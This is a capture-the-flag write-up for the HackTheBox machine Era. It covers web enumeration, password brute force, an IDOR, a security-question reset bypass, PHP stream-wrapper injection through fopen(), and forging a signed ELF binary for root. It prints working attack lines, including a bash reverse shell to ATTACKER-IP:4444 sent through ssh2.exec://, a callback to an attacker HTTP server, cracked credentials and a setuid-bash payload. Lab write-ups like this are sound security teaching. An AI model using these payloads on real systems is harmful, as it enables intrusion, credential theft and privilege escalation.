Machine Info

Spoiler

Era chains a username oracle and a weak password into a file-sharing app, an IDOR that leaks a site backup with bcrypt hashes and a signing key, a security-question reset that works on any user for admin access, an admin-only file preview that hands fopen() an attacker-chosen stream wrapper (ssh2.exec://) for a shell, and a root cron job that runs a group-writable binary after a forgeable ELF signature check.

In the contrary the official HTB path and description of the box goes as follows:

Era is a medium difficulty Linux machine that features an insecure PHP web application alongside a weakly protected system service. First, web enumeration reveals insecure file handling and authentication logic, which can be leveraged to obtain an administrator session. Further inspection of the application’s source code reveals a vulnerable file-preview mechanism that enables remote code execution through PHP stream wrappers. Finally, upon gaining remote access, a root-executed scheduled task reveals a monitoring binary with an easily bypassed ELF signature check that can be overwritten to achieve full system compromise.

User

Reconnaissance

We are going to start by running our nmap scan:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
ports=$(nmap -p- --min-rate=1000 -T4 $VICTIM | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)


└─$ nmap -p$ports -sC -sV $VICTIM
Running second nmap scan with open ports: 21,80
Starting Nmap 7.991 ( https://nmap.org ) at 2026-12-02 13:50 +0100
Nmap scan report for era.htb (VICTIM-IP)
Host is up (0.0046s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.5
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Era Designs
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

FTP and a web server — and notably no SSH from the outside. Keep that in mind for the foothold.

1
echo 'VICTIM-IP era.htb file.era.htb' | sudo tee -a /etc/hosts

Web enumeration

The main site is a static design-firm page:

1
2
3
4
5
6
└─$ ffuf -u http://era.htb/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-small-directories.txt

css                     [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 5ms]
js                      [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 5ms]
img                     [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 3ms]
fonts                   [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 3ms]

vHost fuzzing finds the real target:

1
2
3
└─$ ffuf -u http://era.htb -H "Host: FUZZ.era.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -fs 154

file                    [Status: 200, Size: 6765, Words: 2608, Lines: 234, Duration: 8ms]

A PHP file-sharing app:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
└─$ ffuf -u http://file.era.htb/FUZZ.php -w /usr/share/seclists/Discovery/Web-Content/big.txt -fs 6765 -r

download                [Status: 200, Size: 9214, Words: 3701, Lines: 327, Duration: 5ms]
layout                  [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 5ms]
login                   [Status: 200, Size: 9214, Words: 3701, Lines: 327, Duration: 5ms]
logout                  [Status: 200, Size: 70, Words: 6, Lines: 1, Duration: 7ms]
manage                  [Status: 200, Size: 9214, Words: 3701, Lines: 327, Duration: 4ms]
reset                   [Status: 200, Size: 9214, Words: 3701, Lines: 327, Duration: 5ms]
register                [Status: 200, Size: 3205, Words: 1094, Lines: 106, Duration: 222ms]
upload                  [Status: 200, Size: 9214, Words: 3701, Lines: 327, Duration: 4ms]

Everything with size 9214 is a redirect to login.php (-r follows it). Burp’s history also showed security_login.php — login by security questions.

Username oracle and password brute force

security_login.php answers “User not found” for unknown usernames and something else for real ones — a username enumeration oracle:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
└─$ ffuf -u http://file.era.htb/security_login.php -X POST \
     -H "Content-Type: application/x-www-form-urlencoded" -H "Cookie: PHPSESSID=<session>" \
     -d 'username=FUZZ&answer1=asd&answer2=dsfs&answer3=sdfsdf' \
     -w /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -fr 'User not found'

john                    [Status: 200, Size: 5401, Words: 1916, Lines: 178, Duration: 12ms]
eric                    [Status: 200, Size: 5401, Words: 1916, Lines: 178, Duration: 20ms]
ethan                   [Status: 200, Size: 5401, Words: 1916, Lines: 178, Duration: 20ms]
veronica                [Status: 200, Size: 5401, Words: 1916, Lines: 178, Duration: 32ms]
yuri                    [Status: 200, Size: 5401, Words: 1916, Lines: 178, Duration: 56ms]

With real usernames, a clusterbomb against login.php (two keywords, every combination):

1
2
3
4
5
6
7
8
9
└─$ ffuf -u http://file.era.htb/login.php -X POST \
     -H "Content-Type: application/x-www-form-urlencoded" -H "Cookie: PHPSESSID=<session>" \
     -d 'submitted=true&username=USER&password=PASS' \
     -w /usr/share/seclists/Passwords/Common-Credentials/best1050.txt:PASS -w ./users.txt:USER \
     -fr 'Invalid username or password'

[Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 3745ms]
    * PASS: america
    * USER: eric
Tip
Different from the intended path. The official route simply registers an account via the unlinked register.php. We got in as a real user instead, through the username oracle plus a weak password — both are findings worth reporting on their own.

IDOR — download any file by ID

Uploading a file gives a link like download.php?id=9443: numeric IDs. Fuzzing them while logged in as eric:

1
2
3
4
5
6
└─$ ffuf -u 'http://file.era.htb/download.php?id=FUZZ' -H "Cookie: PHPSESSID=<session>" \
     -w /usr/share/seclists/Fuzzing/4-digits-0000-9999.txt -fr 'File Not Found'

0054                    [Status: 200, Size: 6380, Words: 2552, Lines: 222, Duration: 19ms]
0150                    [Status: 200, Size: 6367, Words: 2552, Lines: 222, Duration: 19ms]
9443                    [Status: 200, Size: 6365, Words: 2552, Lines: 222, Duration: 21ms]

9443 is our own upload; the other two belong to someone else (the admin, as it turns out) and download fine — there’s no ownership check:

1
2
-rw-rw-r-- 1 panas panas    2746 Dec  2 21:22 signing.zip
-rw-rw-r-- 1 panas panas 2006697 Dec  2 21:21 site-backup-30-08-24.zip

The site backup contains the app’s full source and its SQLite database, filedb.sqlite:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
SQLite-3.54 filedb.sqlite-> .tables;
files     users
SQLite-3.54 filedb.sqlite-> select * from users;
╭─────────┬───────────────────┬──────────────────────────────────────────────────────────────┬──────────────────────┬──────────────────┬──────────────────┬──────────────────╮
│ user_id │     user_name     │                        user_password                         │ auto_delete_files... │ security_answer1 │ security_answer2 │ security_answer3 │
╞═════════╪═══════════════════╪══════════════════════════════════════════════════════════════╪══════════════════════╪══════════════════╪══════════════════╪══════════════════╡
│       1 │ admin_ef01cab31aa │ $2y$10$wDbohsUaezf74d3sMNRPi.o93wDxJqphM2m0VVUp41If6WrYr.QPC │                  600 │ Maria            │ Oliver           │ Ottawa           │
│       2 │ eric              │ $2y$10$S9EOSDqF1RzNUvyVj7OtJ.mskgP1spN3g2dneU.D.ABQLhSV2Qvxm │                   -1 │ NULL             │ NULL             │ NULL             │
│       3 │ veronica          │ $2y$10$xQmS7JL8UT4B3jAYK7jsNeZ4I.YqaFFnZNA/2GCxLveQ805kuQGOK │                   -1 │ NULL             │ NULL             │ NULL             │
│       4 │ yuri              │ $2b$12$HkRKUdjjOdf2WuTXovkHIOXwVDfSrgCqqHPpE37uWejRqUWqwEL2. │                   -1 │ NULL             │ NULL             │ NULL             │
│       5 │ john              │ $2a$10$iccCEz6.5.W2p7CSBOr3ReaOqyNmINMH1LaqeQaL22a1T1V/IddE6 │                   -1 │ NULL             │ NULL             │ NULL             │
│       6 │ ethan             │ $2a$10$PkV/LAd07ftxVzBHhrpgcOwD3G1omX4Dk2Y56Tv9DpuUV/dh/a1wC │                   -1 │ NULL             │ NULL             │ NULL             │
╰─────────┴───────────────────┴──────────────────────────────────────────────────────────────┴──────────────────────┴──────────────────┴──────────────────┴──────────────────╯

The admin’s username and old security answers, plus bcrypt hashes ($2a$/$2b$/$2y$ are all hashcat mode 3200):

Spoiler
1
2
3
4
└─$ hashcat -m 3200 sqlite-hashes.txt /usr/share/wordlists/rockyou.txt
...
$2y$10$S9EOSDqF1RzNUvyVj7OtJ.mskgP1spN3g2dneU.D.ABQLhSV2Qvxm:america  # eric - already known
$2b$12$HkRKUdjjOdf2WuTXovkHIOXwVDfSrgCqqHPpE37uWejRqUWqwEL2.:mustang  # yuri - new

Admin via broken access control on the security reset

The backup’s answers (Maria / Oliver / Ottawa) no longer work — the admin changed them. They don’t need to work: reset.php (Update Security Questions) takes a username field and updates that user’s answers without checking it’s the logged-in user. Logged in as eric, we set new answers for admin_ef01cab31aa, then log in through security_login.php with them. The same trick works for every user, needing only a username.

As admin, the file list confirms that signing.zip and the site backup were the admin’s files.

Side findings — FTP and the signing key

yuri:mustang works on FTP:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
└─$ ftp era.htb
Connected to era.htb.
220 (vsFTPd 3.0.5)
...
ftp> user yuri mustang
ftp> ls
229 Entering Extended Passive Mode (|||9167|)
150 Here comes the directory listing.
drwxr-xr-x    2 0        0            4096 Jul 22  2025 apache2_conf
drwxr-xr-x    3 0        0            4096 Jul 22  2025 php8.1_conf
Tip
php8.1_conf lists the installed PHP extensions — including ssh2.so. That’s the hint for the foothold below: it tells you which stream wrappers exist before you start guessing.

signing.zip holds key.pem and x509.genkey. key.pem contains a 2048-bit RSA private key plus its certificate; x509.genkey is the OpenSSL config used to create it (the same template the Linux kernel docs use for module signing), with keyUsage=digitalSignature:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
└─$ openssl x509 -in key.pem -text -noout
Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number:
            6d:63:4a:a9:81:e1:93:a1:e4:48:c5:20:5f:f7:9b:84:e6:b6:f5:0b
        Signature Algorithm: sha256WithRSAEncryption
        Issuer: O=Era Inc., CN=ELF verification, emailAddress=[email protected]
        Validity
            Not Before: Jan 26 02:09:35 2025 GMT
            Not After : Jan  2 02:09:35 2125 GMT
        Subject: O=Era Inc., CN=ELF verification, emailAddress=[email protected]
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
                Public-Key: (2048 bit)
...

A key for signing ELF binaries — no use yet, but it comes back for root.

Foothold — stream wrapper injection in the admin file preview

Uploading a PHP payload is filtered (even in the filename):

1
2
Content-Disposition: form-data; name="upfile[]"; filename="<?php system('id');?>"
Content-Type: application/x-php
1
<div class="upload-error">Error: Tampering attempt detected.</div><div class="upload-error">Error: File was not uploaded</div>

The answer was already in the backup’s source. download.php has an admin-only “show” mode:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
	// BETA (Currently only available to the admin) - Showcase file instead of downloading it
	} elseif ($_GET['show'] === "true" && $_SESSION['erauser'] === 1) {
    		$format = isset($_GET['format']) ? $_GET['format'] : '';
    		$file = $fetched[0];

		if (strpos($format, '://') !== false) {
        		$wrapper = $format;
        		header('Content-Type: application/octet-stream');
    		} else {
        		$wrapper = '';
        		header('Content-Type: text/html');
    		}

    		try {
        		$file_content = fopen($wrapper ? $wrapper . $file : $file, 'r');
			$full_path = $wrapper ? $wrapper . $file : $file;
			// Debug Output
			echo "Opening: " . $full_path . "\n";
        		echo $file_content;
    		} catch (Exception $e) {
        		echo "Error reading file: " . $e->getMessage();
    		}

Two things to notice:

  • It never reads the file. fopen() only opens a stream, and echo of a stream handle prints Resource id #2. An uploaded web shell would never run here.
  • Any format containing :// is prepended to the stored path (files/<name>) and handed to fopen(). We choose the stream wrapper — and some wrappers do something just by being opened.
WrapperOpening it…Needs
http://makes the server request a URL (callback/SSRF)allow_url_fopen
expect://cmdruns cmdexpect extension
ssh2.exec://user:pass@host/cmdlogs in over SSH and runs cmdssh2 extension + valid SSH creds

First a callback to confirm wrappers work and the box can reach us. Note how the stored path is glued onto the end:

1
2
GET /download.php?id=54&show=true&format=http://ATTACKER-IP:8888/CALLBACK HTTP/1.1
Host: file.era.htb
1
2
3
4
└─$ python3 -m http.server 8888 --bind ATTACKER-IP
Serving HTTP on ATTACKER-IP port 8888 (http://ATTACKER-IP:8888/) ...
VICTIM-IP - - [03/Dec/2026 14:10:30] code 404, message File not found
VICTIM-IP - - [03/Dec/2026 14:10:30] "GET /CALLBACKfiles/site-backup-30-08-24.zip HTTP/1.1" 404 -

Dead ends worth knowing:

  • format=http://ATTACKER-IP:8888/;expect://id — fopen() opens one stream, chosen by the first scheme. Everything after the host was just the HTTP path; ; only separates commands in a shell, and there is none here.
  • format=expect://curl%20http://ATTACKER-IP:8888/EXPECT%3b — no callback: the expect extension isn’t installed.

ssh2.exec:// with yuri’s password — SSH isn’t exposed externally, but it listens on localhost, and the wrapper connects from the server itself:

1
2
GET /download.php?id=150&show=true&format=ssh2.exec://yuri:[email protected]/curl%20http://ATTACKER-IP:8888/SSH2%3b HTTP/1.1
Host: file.era.htb
1
VICTIM-IP - - [03/Dec/2026 12:03:31] "GET /SSH2 HTTP/1.1" 404 -

The URL path is the command. The trailing %3b (;) ends it, so the appended files/<name> becomes a separate, harmlessly failing command. The output is never shown, which is why we test with a callback. Then the reverse shell:

1
2
GET /download.php?id=150&show=true&format=ssh2.exec://yuri:[email protected]/bash+-c+'bash+-i+>%26+/dev/tcp/ATTACKER-IP/4444+0>%261'%3b HTTP/1.1
Host: file.era.htb
1
2
3
4
5
6
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [ATTACKER-IP] from (UNKNOWN) [VICTIM-IP] 53426
bash: cannot set terminal process group (31738): Inappropriate ioctl for device
bash: no job control in this shell
yuri@era:~$ 
Tip
Different from the intended path. The official route runs ssh2.exec:// as eric (eric:america) and kills the appended filename with a URL-encoded # (%23) instead of ;. Either works: # cuts it off as a URL fragment before SSH sees it, ; lets it run as a failing second command.
Tip
Prevention (for reports): Never let user input choose a stream wrapper or path for fopen(). Build the path server-side from the file ID, resolve it with realpath() and check it stays inside the upload directory; disable unused extensions (ssh2, expect) and allow_url_fopen.

eric’s web password is also his system password:

1
2
3
yuri@era:~$ su eric
Password: 
eric@era:~$ cat user.txt

That is how we get the user.txt.

Root

eric is in the devs group, which owns /opt/AV:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
eric@era:/opt$ ls -al
total 12
drwxrwxr-x  3 root root 4096 Jul 22  2025 .
drwxr-xr-x 20 root root 4096 Jul 22  2025 ..
drwxrwxr--  3 root devs 4096 Jul 22  2025 AV
eric@era:/opt$ cd AV/periodic-checks
eric@era:/opt/AV/periodic-checks$ ls -al
total 32
drwxrwxr-- 2 root devs  4096 Dec  3 13:17 .
drwxrwxr-- 3 root devs  4096 Jul 22  2025 ..
-rwxrw---- 1 root devs 16544 Dec  3 13:17 monitor
-rw-rw---- 1 root devs   307 Dec  3 13:17 status.log
eric@era:/opt/AV/periodic-checks$ cat status.log

[*] System scan initiated...
[*] No threats detected. Shutting down...
[SUCCESS] No threats detected.
[*] System scan initiated...
[*] No threats detected. Shutting down...
[SUCCESS] No threats detected.

monitor is group-writable (rw for devs). linpeas shows the root cron job behind it, with its output appended to status.log — a free debug channel:

1
2
3
4
root        4120  0.0  0.0   4308  2692 ?        Ss   13:04   0:00 /usr/sbin/cron -f -P
root        7757  0.0  0.1   7764  4036 ?        S    13:17   0:00  _ /usr/sbin/CRON -f -P
root        7760  0.0  0.0   2892   972 ?        Ss   13:17   0:00      _ /bin/sh -c bash -c '/root/initiate_monitoring.sh' >> /opt/AV/periodic-checks/status.log 2>&1
root        7762  0.0  0.0   4784  3360 ?        S    13:17   0:00          _ /bin/bash /root/initiate_monitoring.sh

Replacing monitor looks like root — but the signing key from earlier suggests a check first.

Understanding the ELF signature

monitor is a 64-bit, dynamically linked, not stripped ELF. strings shows ELF verification — the CN of the certificate in key.pem. Its section table has one section no compiler produces:

1
2
3
4
5
6
7
8
9
└─$ objdump -h monitor
...
 15 .text         00000125  0000000000001080  0000000000001080  00001080  2**4
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
...
 26 .comment      0000002b  0000000000000000  0000000000000000  00003010  2**0
                  CONTENTS, READONLY
 27 .text_sig     000001ca  0000000000000000  0000000000000000  00003040  2**3
                  CONTENTS, READONLY
  • Not ALLOC/LOAD — never mapped into memory when the program runs; it’s data stored in the file, exactly how an embedded signature is attached after compilation.
  • 0x1ca = 458 bytes — the size of a PKCS#7/CMS signature from a 2048-bit RSA key without the certificate inside.

Extract it and the code it presumably covers:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
└─$ objcopy --dump-section .text_sig=signature.der monitor /dev/null
└─$ objcopy -O binary --only-section=.text monitor text.bin
└─$ openssl asn1parse -inform DER -in signature.der | head -20
    0:d=0  hl=4 l= 454 cons: SEQUENCE          
    4:d=1  hl=2 l=   9 prim: OBJECT            :pkcs7-signedData
   15:d=1  hl=4 l= 439 cons: cont [ 0 ]        
   19:d=2  hl=4 l= 435 cons: SEQUENCE          
   23:d=3  hl=2 l=   1 prim: INTEGER           :01
   26:d=3  hl=2 l=  13 cons: SET               
   28:d=4  hl=2 l=  11 cons: SEQUENCE          
   30:d=5  hl=2 l=   9 prim: OBJECT            :sha256
   41:d=3  hl=2 l=  11 cons: SEQUENCE          
   43:d=4  hl=2 l=   9 prim: OBJECT            :pkcs7-data
   54:d=3  hl=4 l= 400 cons: SET               
   58:d=4  hl=4 l= 396 cons: SEQUENCE          
   62:d=5  hl=2 l=   1 prim: INTEGER           :01
   65:d=5  hl=2 l= 103 cons: SEQUENCE          
   67:d=6  hl=2 l=  79 cons: SEQUENCE          
   69:d=7  hl=2 l=  17 cons: SET               
   71:d=8  hl=2 l=  15 cons: SEQUENCE          
   73:d=9  hl=2 l=   3 prim: OBJECT            :organizationName
   78:d=9  hl=2 l=   8 prim: UTF8STRING        :Era Inc.
   88:d=7  hl=2 l=  25 cons: SET               
OffsetEntryMeaning
4pkcs7-signedDataa CMS signature
30sha256digest → -md sha256
43pkcs7-data, no content after itdetached — the signed data is outside the blob
54signer info right afterno certificate embedded → -nocerts
78Era Inc.signer identified by the cert’s issuer + serial

Proof that it signs exactly the .text bytes with this key:

1
2
3
└─$ openssl cms -verify -binary -inform DER -in signature.der -content text.bin \
     -certfile key.pem -nointern -noverify -out /dev/null
CMS Verification successful

So the scheme is: detached CMS signature over the raw .text section, stored in .text_sig. We hold the private key, so we can produce one for our own binary.

Building and signing our own monitor

A minimal payload, compiled statically to avoid glibc mismatches with the box:

1
2
3
// pwn.c
#include <stdlib.h>
int main() { system("chmod u+s /bin/bash"); return 0; }
1
2
└─$ mv monitor org_monitor
└─$ gcc -static pwn.c -o monitor

gcc only gives us the code. Rebuilding the signed layout takes three steps:

1
2
3
4
5
6
7
8
9
# 1. extract the bytes to sign - OpenSSL signs bytes, it knows nothing about ELF
└─$ objcopy -O binary --only-section=.text monitor text_new.bin

# 2. sign them like the original: SHA-256, binary, DER, detached, no certs, no attributes
└─$ openssl cms -sign -binary -noattr -outform DER -in text_new.bin \
     -signer key.pem -inkey key.pem -nocerts -md sha256 -out sig_new.der

# 3. attach the signature where the checker looks for it
└─$ objcopy --add-section .text_sig=sig_new.der monitor

Tip
Adding .text_sig doesn’t invalidate the signature: the new section is appended and not loaded (no ALLOC), so the bytes of .text are untouched and still match what step 1 extracted.
Same check that passed on the original, now on ours:

1
2
3
4
└─$ objcopy --dump-section .text_sig=check.der monitor /dev/null
└─$ openssl cms -verify -binary -inform DER -in check.der -content text_new.bin \
     -certfile key.pem -nointern -noverify -out /dev/null
CMS Verification successful

We transfer it to the box and overwrite monitor in place, keeping a backup. cat > keeps root’s ownership and the execute bit; a moved-in copy would become eric’s file:

1
2
eric@era:/opt/AV/periodic-checks$ cp monitor /tmp/monitor.bak
eric@era:/opt/AV/periodic-checks$ cat /tmp/monitor > monitor

After the next cron run:

1
2
3
4
5
6
eric@era:~$ ls -al /bin/bash
-rwsr-xr-x 1 root root 1396520 Mar 14  2024 /bin/bash
eric@era:~$ bash -p

bash-5.1# whoami
root
Tip
How strict was the check really? Per the official writeup, pspy shows initiate_monitoring.sh dumping .text_sig, running openssl asn1parse on it and grepping for Era Inc. — it only checks that a signature with that issuer is present, never that it matches .text. So copying the original .text_sig onto any binary (objcopy --dump-section from monitor, --add-section onto ours) passes too, no key needed. An unsigned binary gets [ERROR] Executable not signed. Tampering attempt detected. Skipping. in status.log. Our properly signed binary passes either way — and would also pass a real cryptographic check. The official route signs with the linux-elf-binary-signer tool (elf-sign sha256 key.pem key.pem shell), which does what our three manual steps do.
Tip
Prevention (for reports): Verify signatures cryptographically against the signed content (openssl cms -verify -content), not by parsing out an issuer string; keep signing private keys off shared file stores; and never let root execute a binary that a non-root group can write.

This is how we get root.